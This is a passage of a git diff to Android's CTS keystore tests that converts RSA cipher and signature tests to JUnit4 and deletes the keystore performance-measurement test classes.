+            // ATTEST_KEY generation/use has failed as expected
+        }
+    }
+
+    private Certificate[] generateKeyPair(String algorithm, KeyGenParameterSpec spec)
+            throws NoSuchAlgorithmException, NoSuchProviderException,
+            InvalidAlgorithmParameterException, KeyStoreException {
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(algorithm,
+                "AndroidKeyStore");
+        keyPairGenerator.initialize(spec);
+        keyPairGenerator.generateKeyPair();
+        mAliasesToDelete.add(spec.getKeystoreAlias());
+
+        return mKeyStore.getCertificateChain(spec.getKeystoreAlias());
+    }
+
+    private void assumeNoAttestKey() {
+        PackageManager packageManager =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        assumeFalse("Can only test if we do *not* have the attest key feature.",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_KEYSTORE_APP_ATTEST_KEY));
+    }
+
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/PerformanceTestBase.java b/tests/tests/keystore/src/android/keystore/cts/PerformanceTestBase.java
deleted file mode 100644
index 791435b..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/PerformanceTestBase.java
+++ /dev/null
@@ -1,363 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.os.SystemClock;
-import android.security.keystore.KeyGenParameterSpec;
-import android.test.AndroidTestCase;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.security.KeyPair;
-import java.security.KeyPairGenerator;
-import java.security.KeyStore;
-import java.security.cert.Certificate;
-import java.util.ArrayList;
-
-import javax.crypto.KeyGenerator;
-import javax.crypto.SecretKey;
-
-import android.os.Build;
-
-public class PerformanceTestBase extends AndroidTestCase {
-
-    public static final long MS_PER_NS = 1000000L;
-    protected static final String TAG = "KeystorePerformanceTest";
-    private static final String REPORT_LOG_NAME = "CtsKeystoreTestCases";
-    /**
-     * Number of milliseconds to spend repeating a single test.
-     *
-     * <p>For each algorithm we run the test repeatedly up to a maximum of this time limit (or up to
-     * {@link #TEST_ITERATION_LIMIT} whichever is reached first), then report back the number of
-     * repetitions. We don't abort a test at the time limit but let it run to completion, so we're
-     * guaranteed to always get at least one repetition, even if it takes longer than the limit.
-     */
-    private static int TEST_TIME_LIMIT = 20000;
-
-    /** Maximum number of iterations to run a single test. */
-    static int TEST_ITERATION_LIMIT = 20;
-
-    protected void measure(Measurable... measurables) throws Exception {
-        ArrayList<PerformanceTestResult> results = new ArrayList<>();
-        results.ensureCapacity(measurables.length);
-        for (Measurable measurable : measurables) {
-            DeviceReportLog reportLog = new DeviceReportLog(REPORT_LOG_NAME, "performance_test");
-            PerformanceTestResult result = measure(measurable);
-
-            reportLog.addValue(
-                    "test_environment",
-                    measurable.getEnvironment(),
-                    ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            reportLog.addValue(
-                    "test_name", measurable.getName(), ResultType.NEUTRAL, ResultUnit.NONE);
-            reportLog.addValue(
-                    "sample_count", result.getSampleCount(), ResultType.NEUTRAL, ResultUnit.COUNT);
-            reportLog.addValue(
-                    "setup_time", result.getSetupTime(), ResultType.LOWER_BETTER, ResultUnit.MS);
-            reportLog.addValue(
-                    "mean_time", result.getMean(), ResultType.LOWER_BETTER, ResultUnit.MS);
-            reportLog.addValue(
-                    "sample_std_dev",
-                    result.getSampleStdDev(),
-                    ResultType.LOWER_BETTER,
-                    ResultUnit.MS);
-            reportLog.addValue(
-                    "median_time", result.getMedian(), ResultType.LOWER_BETTER, ResultUnit.MS);
-            reportLog.addValue(
-                    "percentile_90_time",
-                    result.getPercentile(0.9),
-                    ResultType.LOWER_BETTER,
-                    ResultUnit.MS);
-            reportLog.addValue(
-                    "teardown_time",
-                    result.getTearDownTime(),
-                    ResultType.LOWER_BETTER,
-                    ResultUnit.MS);
-            reportLog.addValue(
-                    "teardown_time",
-                    result.getTearDownTime(),
-                    ResultType.LOWER_BETTER,
-                    ResultUnit.MS);
-            reportLog.submit(InstrumentationRegistry.getInstrumentation());
-        }
-    }
-
-    private PerformanceTestResult measure(Measurable measurable) throws Exception {
-        // One un-measured time through everything, to warm caches, etc.
-
-        PerformanceTestResult result = new PerformanceTestResult();
-
-        measurable.initialSetUp();
-        measurable.setUp();
-        measurable.measure();
-        measurable.tearDown();
-
-        long runLimit = now() + TEST_TIME_LIMIT * MS_PER_NS;
-        while (now() < runLimit && result.getSampleCount() < TEST_ITERATION_LIMIT) {
-            long setupBegin = now();
-            measurable.setUp();
-            result.addSetupTime(now() - setupBegin);
-
-            long runBegin = now();
-            measurable.measure();
-            result.addMeasurement(now() - runBegin);
-
-            long tearDownBegin = now();
-            measurable.tearDown();
-            result.addTeardownTime(now() - tearDownBegin);
-        }
-        measurable.finalTearDown();
-
-        return result;
-    }
-
-    protected long now() {
-        return SystemClock.elapsedRealtimeNanos();
-    }
-
-    public abstract class Measurable {
-
-        private Measurable() {}
-        ;
-
-        public abstract String getEnvironment();
-
-        public abstract String getName();
-
-        public void initialSetUp() throws Exception {}
-
-        public void setUp() throws Exception {}
-
-        public abstract void measure() throws Exception;
-
-        public void tearDown() throws Exception {}
-
-        public void finalTearDown() throws Exception {}
-    }
-
-    /** Base class for measuring Keystore operations. */
-    abstract class KeystoreMeasurable extends Measurable {
-        private final String mName;
-        private final byte[] mMessage;
-        private final KeystoreKeyGenerator mGenerator;
-
-        KeystoreMeasurable(
-                KeystoreKeyGenerator generator, String operation, int keySize, int messageSize)
-                throws Exception {
-            super();
-            mGenerator = generator;
-            if (messageSize < 0) {
-                mName = (operation
-                                + "/" + getAlgorithm()
-                                + "/" + keySize);
-                mMessage = null;
-            } else {
-                mName = (operation
-                                + "/" + getAlgorithm()
-                                + "/" + keySize
-                                + "/" + messageSize);
-                mMessage = TestUtils.generateRandomMessage(messageSize);
-            }
-        }
-
-        KeystoreMeasurable(KeystoreKeyGenerator generator, String operation, int keySize)
-                throws Exception {
-            this(generator, operation, keySize, -1);
-        }
-
-        @Override
-        public String getEnvironment() {
-            return mGenerator.getProvider() + "/" + Build.CPU_ABI;
-        }
-
-        @Override
-        public String getName() {
-            return mName;
-        }
-
-        byte[] getMessage() {
-            return mMessage;
-        }
-
-        String getAlgorithm() {
-            return mGenerator.getAlgorithm();
-        }
-
-        @Override
-        public void finalTearDown() throws Exception {
-            deleteKey();
-        }
-
-        public void deleteKey() throws Exception {
-            mGenerator.deleteKey();
-        }
-
-        SecretKey generateSecretKey() throws Exception {
-            return mGenerator.getSecretKeyGenerator().generateKey();
-        }
-
-        KeyPair generateKeyPair() throws Exception {
-            return mGenerator.getKeyPairGenerator().generateKeyPair();
-        }
-    }
-
-    /**
-     * Measurable for generating key pairs.
-     *
-     * <p>This class is ignostic to the Keystore provider or key algorithm.
-     */
-    class KeystoreKeyPairGenMeasurable extends KeystoreMeasurable {
-
-        KeystoreKeyPairGenMeasurable(KeystoreKeyGenerator keyGenerator, int keySize)
-                throws Exception {
-            super(keyGenerator, "keygen", keySize);
-        }
-
-        @Override
-        public void measure() throws Exception {
-            generateKeyPair();
-        }
-
-        @Override
-        public void tearDown() throws Exception {
-            deleteKey();
-        }
-    }
-
-    /**
-     * Measurable for generating a secret key.
-     *
-     * <p>This class is ignostic to the Keystore provider or key algorithm.
-     */
-    class KeystoreSecretKeyGenMeasurable extends KeystoreMeasurable {
-
-        KeystoreSecretKeyGenMeasurable(KeystoreKeyGenerator keyGenerator, int keySize)
-                throws Exception {
-            super(keyGenerator, "keygen", keySize);
-        }
-
-        @Override
-        public void measure() throws Exception {
-            generateSecretKey();
-        }
-
-        @Override
-        public void tearDown() throws Exception {
-            deleteKey();
-        }
-    }
-
-    /**
-     * Wrapper for generating Keystore keys.
-     *
-     * <p>Abstracts the provider and initilization of the generator.
-     */
-    abstract class KeystoreKeyGenerator {
-        private final String mAlgorithm;
-        private final String mProvider;
-        private KeyGenerator mSecretKeyGenerator = null;
-        private KeyPairGenerator mKeyPairGenerator = null;
-
-        KeystoreKeyGenerator(String algorithm, String provider) throws Exception {
-            mAlgorithm = algorithm;
-            mProvider = provider;
-        }
-
-        KeystoreKeyGenerator(String algorithm) throws Exception {
-            // This is a hack to get the default provider.
-            this(algorithm, KeyGenerator.getInstance("AES").getProvider().getName());
-        }
-
-        String getAlgorithm() {
-            return mAlgorithm;
-        }
-
-        String getProvider() {
-            return mProvider;
-        }
-
-        /** By default, deleteKey is a nop */
-        void deleteKey() throws Exception {}
-
-        KeyGenerator getSecretKeyGenerator() throws Exception {
-            if (mSecretKeyGenerator == null) {
-                mSecretKeyGenerator =
-                        KeyGenerator.getInstance(TestUtils.getKeyAlgorithm(mAlgorithm), mProvider);
-            }
-            return mSecretKeyGenerator;
-        }
-
-        KeyPairGenerator getKeyPairGenerator() throws Exception {
-            if (mKeyPairGenerator == null) {
-                mKeyPairGenerator =
-                        KeyPairGenerator.getInstance(
-                                TestUtils.getKeyAlgorithm(mAlgorithm), mProvider);
-            }
-            return mKeyPairGenerator;
-        }
-    }
-
-    /**
-     * Wrapper for generating Android Keystore keys.
-     *
-     * <p>Provides Android Keystore specific functionality, like deleting the key.
-     */
-    abstract class AndroidKeystoreKeyGenerator extends KeystoreKeyGenerator {
-        private final KeyStore mKeyStore;
-        private final String KEY_ALIAS = "perf_key";
-
-        AndroidKeystoreKeyGenerator(String algorithm) throws Exception {
-            super(algorithm, TestUtils.EXPECTED_PROVIDER_NAME);
-            mKeyStore = KeyStore.getInstance(getProvider());
-            mKeyStore.load(null);
-        }
-
-        @Override
-        void deleteKey() throws Exception {
-            mKeyStore.deleteEntry(KEY_ALIAS);
-        }
-
-        KeyGenParameterSpec.Builder getKeyGenParameterSpecBuilder(int purpose) {
-            return new KeyGenParameterSpec.Builder(KEY_ALIAS, purpose);
-        }
-
-        Certificate[] getCertificateChain() throws Exception {
-            return mKeyStore.getCertificateChain(KEY_ALIAS);
-        }
-    }
-
-    /** Basic generator for KeyPairs that uses the default provider. */
-    class DefaultKeystoreKeyPairGenerator extends KeystoreKeyGenerator {
-        DefaultKeystoreKeyPairGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getKeyPairGenerator().initialize(keySize);
-        }
-    }
-
-    /** Basic generator for SecretKeys that uses the default provider. */
-    class DefaultKeystoreSecretKeyGenerator extends KeystoreKeyGenerator {
-        DefaultKeystoreSecretKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getSecretKeyGenerator().init(keySize);
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/PerformanceTestResult.java b/tests/tests/keystore/src/android/keystore/cts/PerformanceTestResult.java
deleted file mode 100644
index 08fdee0..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/PerformanceTestResult.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import junit.framework.TestCase;
-
-import java.util.Arrays;
-
-/**
- * Simple struct to package test results. All times are in nanoseconds. Doubles are used rather than
- * longs because arithmetic on nanoseconds in longs can overflow.
- */
-public class PerformanceTestResult {
-    private double mSetupTime;
-    private int mSampleCount = 0;
-    private double[] mSamples = new double[PerformanceTestBase.TEST_ITERATION_LIMIT];
-    private double mTeardownTime;
-
-    public void addSetupTime(double timeInNs) {
-        mSetupTime += timeInNs / PerformanceTestBase.MS_PER_NS;
-    }
-
-    public double getSetupTime() {
-        return mSetupTime;
-    }
-
-    public void addTeardownTime(double timeInNs) {
-        mTeardownTime += timeInNs / PerformanceTestBase.MS_PER_NS;
-    }
-
-    public double getTearDownTime() {
-        return mTeardownTime;
-    }
-
-    public void addMeasurement(double timeInNs) {
-        if (mSampleCount == PerformanceTestBase.TEST_ITERATION_LIMIT) {
-            TestCase.fail("Array is full, this is a test bug.");
-        }
-        mSamples[mSampleCount++] = timeInNs / PerformanceTestBase.MS_PER_NS;
-    }
-
-    public int getSampleCount() {
-        return mSampleCount;
-    }
-
-    public double getTotalTime() {
-        double sum = 0;
-        for (int i = 0; i < mSampleCount; ++i) {
-            sum += mSamples[i];
-        }
-        return sum;
-    }
-
-    public double getTotalTimeSq() {
-        double sum = 0;
-        for (int i = 0; i < mSampleCount; ++i) {
-            sum += (double) mSamples[i] * mSamples[i];
-        }
-        return sum;
-    }
-
-    public double getMedian() {
-        return getPercentile(0.5);
-    }
-
-    public double getPercentile(double v) {
-        Arrays.sort(mSamples, 0, mSampleCount);
-        return mSamples[(int) Math.ceil(mSampleCount * v) - 1];
-    }
-
-    public double getMean() {
-        return getTotalTime() / mSampleCount;
-    }
-
-    public double getSampleStdDev() {
-        double totalTime = getTotalTime();
-        return Math.sqrt(mSampleCount * getTotalTimeSq() - totalTime * totalTime)
-                / (mSampleCount * (mSampleCount - 1));
-    }
-
-    @Override
-    public String toString() {
-        return mSampleCount
-                + ","
-                + getMean()
-                + ","
-                + getSampleStdDev()
-                + ","
-                + getMedian()
-                + ","
-                + getPercentile(0.9);
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/PutOverflowTest.java b/tests/tests/keystore/src/android/keystore/cts/PutOverflowTest.java
index 088af35..2b3bd81 100644
--- a/tests/tests/keystore/src/android/keystore/cts/PutOverflowTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/PutOverflowTest.java
@@ -16,10 +16,18 @@
 
 package android.keystore.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertTrue;
+
+import androidx.test.runner.AndroidJUnit4;
+
 import java.lang.reflect.Method;
 
-public class PutOverflowTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class PutOverflowTest {
+    @Test
     public void testCrash() throws Exception {
         try {
             Class<?> keystoreClass = Class.forName("android.security.KeyStore");
diff --git a/tests/tests/keystore/src/android/keystore/cts/RSACipherTest.java b/tests/tests/keystore/src/android/keystore/cts/RSACipherTest.java
index fbf79ed..92590c6 100644
--- a/tests/tests/keystore/src/android/keystore/cts/RSACipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/RSACipherTest.java
@@ -16,6 +16,13 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+
 import java.math.BigInteger;
 import java.security.PrivateKey;
 import java.security.Provider;
@@ -27,14 +34,27 @@
 import javax.crypto.Cipher;
 import javax.crypto.IllegalBlockSizeException;
 
+import android.keystore.cts.util.EmptyArray;
+import android.keystore.cts.util.ImportedKey;
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyProperties;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
 
-public class RSACipherTest extends AndroidTestCase {
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class RSACipherTest {
 
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_CRYPTO_OP_PROVIDER_NAME;
 
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testNoPaddingEncryptionAndDecryptionSucceedsWithInputShorterThanModulus()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -58,16 +78,17 @@
 
                 Cipher cipher = Cipher.getInstance("RSA/ECB/NoPadding", provider);
                 cipher.init(Cipher.ENCRYPT_MODE, publicKey);
-                MoreAsserts.assertEquals(expectedOutput, cipher.doFinal(input));
+                assertArrayEquals(expectedOutput, cipher.doFinal(input));
 
                 cipher.init(Cipher.DECRYPT_MODE, privateKey);
-                MoreAsserts.assertEquals(expectedOutput, cipher.doFinal(input));
+                assertArrayEquals(expectedOutput, cipher.doFinal(input));
             } catch (Throwable e) {
                 throw new RuntimeException("Failed for key " + key.getAlias(), e);
             }
         }
     }
 
+    @Test
     public void testNoPaddingEncryptionSucceedsWithPlaintextOneSmallerThanModulus()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -90,13 +111,14 @@
                 cipher.init(Cipher.ENCRYPT_MODE, publicKey);
                 byte[] ciphertext = cipher.doFinal(plaintext);
                 cipher.init(Cipher.DECRYPT_MODE, privateKey);
-                MoreAsserts.assertEquals(plaintext, cipher.doFinal(ciphertext));
+                assertArrayEquals(plaintext, cipher.doFinal(ciphertext));
             } catch (Throwable e) {
                 throw new RuntimeException("Failed for key " + key.getAlias(), e);
             }
         }
     }
 
+    @Test
     public void testNoPaddingEncryptionFailsWithPlaintextEqualToModulus() throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
@@ -125,6 +147,7 @@
         }
     }
 
+    @Test
     public void testNoPaddingEncryptionFailsWithPlaintextOneLargerThanModulus() throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
@@ -154,6 +177,7 @@
         }
     }
 
+    @Test
     public void testNoPaddingEncryptionFailsWithPlaintextOneByteLongerThanModulus()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -186,6 +210,7 @@
         }
     }
 
+    @Test
     public void testNoPaddingDecryptionFailsWithCiphertextOneByteLongerThanModulus()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -218,6 +243,7 @@
         }
     }
 
+    @Test
     public void testNoPaddingWithZeroMessage() throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
@@ -237,12 +263,12 @@
                 byte[] ciphertext = cipher.doFinal(plaintext);
                 // Ciphertext should be all zero bytes
                 byte[] expectedCiphertext = new byte[(TestUtils.getKeySizeBits(publicKey) + 7) / 8];
-                MoreAsserts.assertEquals(expectedCiphertext, ciphertext);
+                assertArrayEquals(expectedCiphertext, ciphertext);
 
                 cipher.init(Cipher.DECRYPT_MODE, privateKey);
                 // Decrypted plaintext should also be all zero bytes
                 byte[] expectedPlaintext = new byte[expectedCiphertext.length];
-                MoreAsserts.assertEquals(expectedPlaintext, cipher.doFinal(ciphertext));
+                assertArrayEquals(expectedPlaintext, cipher.doFinal(ciphertext));
             } catch (Throwable e) {
                 throw new RuntimeException("Failed for key " + key.getAlias(), e);
             }
diff --git a/tests/tests/keystore/src/android/keystore/cts/RSASignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/RSASignatureTest.java
index dbabbe2..c145e88 100644
--- a/tests/tests/keystore/src/android/keystore/cts/RSASignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/RSASignatureTest.java
@@ -14,6 +14,11 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import java.security.InvalidKeyException;
 import java.security.KeyPair;
 import java.security.PrivateKey;
@@ -28,14 +33,20 @@
 import java.util.Collection;
 import java.util.List;
 
-import android.keystore.cts.R;
-
 import android.content.Context;
+import android.keystore.cts.R;
+import android.keystore.cts.util.ImportedKey;
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
-import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
-public class RSASignatureTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class RSASignatureTest {
 
     private static final String EXPECTED_PROVIDER_NAME = SignatureTest.EXPECTED_PROVIDER_NAME;
 
@@ -52,6 +63,11 @@
         SIGNATURE_ALGORITHMS = sigAlgs.toArray(new String[sigAlgs.size()]);
     }
 
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testMaxMessageSizeWhenNoDigestUsed() throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
@@ -102,6 +118,7 @@
         }
     }
 
+    @Test
     public void testSmallKeyRejected() throws Exception {
         // Use a 512 bit key which should prevent the use of any digests larger than SHA-256
         // because the padded form of the digested message will be larger than modulus size.
diff --git a/tests/tests/keystore/src/android/keystore/cts/RsaCipherPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/RsaCipherPerformanceTest.java
deleted file mode 100644
index 6233981..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/RsaCipherPerformanceTest.java
+++ /dev/null
@@ -1,159 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-import java.security.AlgorithmParameters;
-import java.security.KeyPair;
-
-import javax.crypto.Cipher;
-
-public class RsaCipherPerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_RSA_KEY_SIZES = {2048, 3072, 4096};
-    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10};
-
-    public void testRSA_ECB_NoPadding() throws Exception {
-        testRsaCipher("RSA/ECB/NoPadding", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testRSA_ECB_PKCS1Padding() throws Exception {
-        testRsaCipher("RSA/ECB/PKCS1Padding", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testRSA_ECB_OAEPWithSHA_1AndMGF1Padding() throws Exception {
-        testRsaCipher(
-                "RSA/ECB/OAEPWithSHA-1AndMGF1Padding", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testRSA_ECB_OAEPPadding() throws Exception {
-        testRsaCipher("RSA/ECB/OAEPPadding", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    private void testRsaCipher(String algorithm, int[] keySizes, int[] messageSizes)
-            throws Exception {
-        for (int keySize : keySizes) {
-            int maxMessageSize =
-                    TestUtils.getMaxSupportedPlaintextInputSizeBytes(algorithm, keySize);
-            for (int messageSize : messageSizes) {
-                if (messageSize > maxMessageSize) {
-                    continue;
-                }
-                measure(
-                        new KeystoreRsaEncryptMeasurable(
-                                new AndroidKeystoreRsaKeyGenerator(algorithm, keySize),
-                                keySize,
-                                messageSize),
-                        new KeystoreRsaDecryptMeasurable(
-                                new AndroidKeystoreRsaKeyGenerator(algorithm, keySize),
-                                keySize,
-                                messageSize),
-                        new KeystoreRsaEncryptMeasurable(
-                                new DefaultKeystoreKeyPairGenerator(algorithm, keySize),
-                                keySize,
-                                messageSize),
-                        new KeystoreRsaDecryptMeasurable(
-                                new DefaultKeystoreKeyPairGenerator(algorithm, keySize),
-                                keySize,
-                                messageSize));
-            }
-        }
-    }
-
-    private class AndroidKeystoreRsaKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreRsaKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            String digest = TestUtils.getCipherDigest(algorithm);
-            getKeyPairGenerator()
-                    .initialize(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_ENCRYPT
-                                                    | KeyProperties.PURPOSE_DECRYPT)
-                                    .setBlockModes(TestUtils.getCipherBlockMode(algorithm))
-                                    .setEncryptionPaddings(
-                                            TestUtils.getCipherEncryptionPadding(algorithm))
-                                    .setRandomizedEncryptionRequired(false)
-                                    .setKeySize(keySize)
-                                    .setDigests(
-                                            (digest != null)
-                                                    ? new String[] {digest}
-                                                    : EmptyArray.STRING)
-                                    .build());
-        }
-    }
-
-    private class KeystoreRsaEncryptMeasurable extends KeystoreMeasurable {
-        private final Cipher mCipher;
-        private KeyPair mKey;
-
-        KeystoreRsaEncryptMeasurable(
-                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
-            super(keyGenerator, "encrypt", keySize, messageSize);
-            mCipher = Cipher.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateKeyPair();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mCipher.init(Cipher.ENCRYPT_MODE, mKey.getPublic());
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mCipher.doFinal(getMessage());
-        }
-    }
-
-    private class KeystoreRsaDecryptMeasurable extends KeystoreMeasurable {
-        private final Cipher mCipher;
-        private byte[] mEncryptedMessage;
-        private AlgorithmParameters mAlgorithmParams;
-        private KeyPair mKey;
-
-        KeystoreRsaDecryptMeasurable(
-                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
-            super(keyGenerator, "decrypt", keySize, messageSize);
-            mCipher = Cipher.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateKeyPair();
-            mCipher.init(Cipher.ENCRYPT_MODE, mKey.getPublic());
-            mEncryptedMessage = mCipher.doFinal(getMessage());
-            mAlgorithmParams = mCipher.getParameters();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mCipher.init(Cipher.DECRYPT_MODE, mKey.getPrivate(), mAlgorithmParams);
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mCipher.doFinal(mEncryptedMessage);
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/RsaKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/RsaKeyGenPerformanceTest.java
deleted file mode 100644
index 1ba1bd02..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/RsaKeyGenPerformanceTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-public class RsaKeyGenPerformanceTest extends PerformanceTestBase {
-
-    private final int[] SUPPORTED_RSA_KEY_SIZES = {2048, 3072, 4096};
-
-    public void testRsaKeyGen() throws Exception {
-        for (int keySize : SUPPORTED_RSA_KEY_SIZES) {
-            measure(
-                    new KeystoreKeyPairGenMeasurable(
-                            new AndroidKeystoreRsaKeyenerator("RSA", keySize),
-                            keySize),
-                    new KeystoreKeyPairGenMeasurable(
-                            new DefaultKeystoreKeyPairGenerator("RSA", keySize),
-                            keySize));
-        }
-    }
-
-    private class AndroidKeystoreRsaKeyenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreRsaKeyenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getKeyPairGenerator()
-                    .initialize(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_SIGN
-                                                    | KeyProperties.PURPOSE_VERIFY)
-                                    .setKeySize(keySize)
-                                    .build());
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/RsaSignaturePerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/RsaSignaturePerformanceTest.java
deleted file mode 100644
index 906693b..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/RsaSignaturePerformanceTest.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-import java.security.KeyPair;
-import java.security.Signature;
-import java.util.Arrays;
-
-public class RsaSignaturePerformanceTest extends PerformanceTestBase {
-
